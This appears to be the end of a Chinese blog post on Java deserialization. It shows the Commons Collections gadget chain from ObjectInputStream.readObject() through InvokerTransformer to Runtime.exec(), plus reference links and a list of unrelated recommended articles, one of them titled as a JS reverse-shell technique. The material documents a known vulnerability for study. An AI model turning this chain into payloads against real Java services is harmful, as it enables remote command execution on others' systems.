Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

参考：
https://www.cnblogs.com/adamjwh/p/9683705.html
https://www.anquanke.com/post/id/230788
https://www.cnblogs.com/nice0e3/p/13779857.html

推荐阅读

• 

  江苏28所高校排名 江苏大学排行榜
• 

  忍界大战怎么打 忍界大战普通怎么打
• 

  使用Trimmomatic过滤低质量序列
• 

  仓鼠吃莴笋叶 仓鼠吃莴笋能补充水分吗?!
• 

  打磨翡翠用什么 打磨翡翠用什么胶水粘接
• 

  转型中的博弈（医学影像人工智能落地基层为何这么难（））
• 

  精灵宝可梦剑盾冠军怎么打
• 

  国家卫健委|国家卫健委：重点人群除开展疫苗接种外 还要坚持做好个人防护
• 

  黄精是补肾阴虚还是阳虚
• 

  刘韦伯名字打分95分
• 

  做人做事就两个字
• 

  j2ee架构分析
• 

  steam余额给别人教程
• 

  减肥怎样运动才好得快 减肥怎样运动才好
• 

  哪些补益食疗方可缓解失眠
• 

  国赫天玺二期规划 天玺国际
• 

  黄芪配什么比较好
• 

  ps网页,ps怎么做网页
• 

  辣椒酱的几种做法 辣椒酱常见做法
• 

  阴阳师一速多少合格

• 数据结构|反转链表-四种方法
• 经历了源码的痛苦，掌握DRF的核心序列化器
• 利用js文件反弹shell
• 字符串反转和句子反转（字符串逆序和句子逆序）
• em算法|em算法 图像模糊检测_基于EM算法的眼底OCT图像反卷积去模糊技术
• 羽夏逆向指引——反制
• Leetcode344反转字符串(双指针解法)
• DL|PyTorch搭建ANN实现时间序列预测（风速预测）
• 浅析Java反射--Java
• Java利用反射对list对象做过滤